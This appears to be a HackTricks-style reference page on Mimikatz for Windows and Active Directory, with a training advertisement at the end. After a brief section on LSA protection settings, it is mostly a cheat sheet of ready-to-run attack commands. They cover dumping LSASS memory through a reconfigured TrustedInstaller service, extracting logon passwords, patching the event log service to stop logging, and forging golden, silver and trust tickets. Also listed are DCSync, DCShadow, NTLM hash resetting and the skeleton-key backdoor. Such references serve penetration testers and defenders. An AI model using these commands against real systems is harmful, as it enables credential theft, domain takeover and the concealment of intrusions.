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From Windows 8.1 and Windows Server 2012 R2 onwards, significant measures have been implemented to safeguard against credential theft:
-
LM hashes and plain-text passwords are no longer stored in memory to enhance security. A specific registry setting, HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential" must be configured with a DWORD value of
0
to disable Digest Authentication, ensuring "clear-text" passwords are not cached in LSASS. -
LSA Protection is introduced to shield the Local Security Authority (LSA) process from unauthorized memory reading and code injection. This is achieved by marking the LSASS as a protected process. Activation of LSA Protection involves:
- Modifying the registry at HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa by setting
RunAsPPL
todword:00000001
. - Implementing a Group Policy Object (GPO) that enforces this registry change across managed devices.
- Modifying the registry at HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa by setting
Despite these protections, tools like Mimikatz can circumvent LSA Protection using specific drivers, although such actions are likely to be recorded in event logs.
Administrators typically have SeDebugPrivilege, enabling them to debug programs. This privilege can be restricted to prevent unauthorized memory dumps, a common technique used by attackers to extract credentials from memory. However, even with this privilege removed, the TrustedInstaller account can still perform memory dumps using a customized service configuration:
sc config TrustedInstaller binPath= "C:\\Users\\Public\\procdump64.exe -accepteula -ma lsass.exe C:\\Users\\Public\\lsass.dmp"
sc start TrustedInstaller
This allows the dumping of the lsass.exe
memory to a file, which can then be analyzed on another system to extract credentials:
# privilege::debug
# sekurlsa::minidump lsass.dmp
# sekurlsa::logonpasswords
Event log tampering in Mimikatz involves two primary actions: clearing event logs and patching the Event service to prevent logging of new events. Below are the commands for performing these actions:
- Command: This action is aimed at deleting the event logs, making it harder to track malicious activities.
- Mimikatz does not provide a direct command in its standard documentation for clearing event logs directly via its command line. However, event log manipulation typically involves using system tools or scripts outside of Mimikatz to clear specific logs (e.g., using PowerShell or Windows Event Viewer).
-
Command:
event::drop
-
This experimental command is designed to modify the Event Logging Service's behavior, effectively preventing it from recording new events.
-
Example:
mimikatz "privilege::debug" "event::drop" exit
-
The
privilege::debug
command ensures that Mimikatz operates with the necessary privileges to modify system services. -
The
event::drop
command then patches the Event Logging service.
A Golden Ticket allows for domain-wide access impersonation. Key command and parameters:
- Command:
kerberos::golden
- Parameters:
/domain
: The domain name./sid
: The domain's Security Identifier (SID)./user
: The username to impersonate./krbtgt
: The NTLM hash of the domain's KDC service account./ptt
: Directly injects the ticket into memory./ticket
: Saves the ticket for later use.
Example:
mimikatz "kerberos::golden /user:admin /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /krbtgt:ntlmhash /ptt" exit
Silver Tickets grant access to specific services. Key command and parameters:
- Command: Similar to Golden Ticket but targets specific services.
- Parameters:
/service
: The service to target (e.g., cifs, http).- Other parameters similar to Golden Ticket.
Example:
mimikatz "kerberos::golden /user:user /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /target:service.example.com /service:cifs /rc4:ntlmhash /ptt" exit
Trust Tickets are used for accessing resources across domains by leveraging trust relationships. Key command and parameters:
- Command: Similar to Golden Ticket but for trust relationships.
- Parameters:
/target
: The target domain's FQDN./rc4
: The NTLM hash for the trust account.
Example:
mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123456789-123456789 /sids:S-1-5-21-987654321-987654321-987654321-519 /rc4:ntlmhash /user:admin /service:krbtgt /target:parent.example.com /ptt" exit
-
Listing Tickets:
- Command:
kerberos::list
- Lists all Kerberos tickets for the current user session.
- Command:
-
Pass the Cache:
- Command:
kerberos::ptc
- Injects Kerberos tickets from cache files.
- Example:
mimikatz "kerberos::ptc /ticket:ticket.kirbi" exit
- Command:
-
Pass the Ticket:
- Command:
kerberos::ptt
- Allows using a Kerberos ticket in another session.
- Example:
mimikatz "kerberos::ptt /ticket:ticket.kirbi" exit
- Command:
-
Purge Tickets:
- Command:
kerberos::purge
- Clears all Kerberos tickets from the session.
- Useful before using ticket manipulation commands to avoid conflicts.
- Command:
-
DCShadow: Temporarily make a machine act as a DC for AD object manipulation.
mimikatz "lsadump::dcshadow /object:targetObject /attribute:attributeName /value:newValue" exit
-
DCSync: Mimic a DC to request password data.
mimikatz "lsadump::dcsync /user:targetUser /domain:targetDomain" exit
-
LSADUMP::LSA: Extract credentials from LSA.
mimikatz "lsadump::lsa /inject" exit
-
LSADUMP::NetSync: Impersonate a DC using a computer account's password data.
- No specific command provided for NetSync in original context.
-
LSADUMP::SAM: Access local SAM database.
mimikatz "lsadump::sam" exit
-
LSADUMP::Secrets: Decrypt secrets stored in the registry.
mimikatz "lsadump::secrets" exit
-
LSADUMP::SetNTLM: Set a new NTLM hash for a user.
mimikatz "lsadump::setntlm /user:targetUser /ntlm:newNtlmHash" exit
-
LSADUMP::Trust: Retrieve trust authentication information.
mimikatz "lsadump::trust" exit
- MISC::Skeleton: Inject a backdoor into LSASS on a DC.
mimikatz "privilege::debug" "misc::skeleton" exit
-
PRIVILEGE::Backup: Acquire backup rights.
mimikatz "privilege::backup" exit
-
PRIVILEGE::Debug: Obtain debug privileges.
mimikatz "privilege::debug" exit
-
SEKURLSA::LogonPasswords: Show credentials for logged-on users.
mimikatz "sekurlsa::logonpasswords" exit
-
SEKURLSA::Tickets: Extract Kerberos tickets from memory.
mimikatz "sekurlsa::tickets /export" exit
-
SID::add/modify: Change SID and SIDHistory.
- Add:
mimikatz "sid::add /user:targetUser /sid:newSid" exit
- Modify: No specific command for modify in original context.
- Add:
-
TOKEN::Elevate: Impersonate tokens.
mimikatz "token::elevate /domainadmin" exit
-
TS::MultiRDP: Allow multiple RDP sessions.
mimikatz "ts::multirdp" exit
-
TS::Sessions: List TS/RDP sessions.
- No specific command provided for TS::Sessions in original context.
- Extract passwords from Windows Vault.
mimikatz "vault::cred /patch" exit
Deepen your expertise in Mobile Security with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
{% embed url="https://academy.8ksec.io/" %}
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.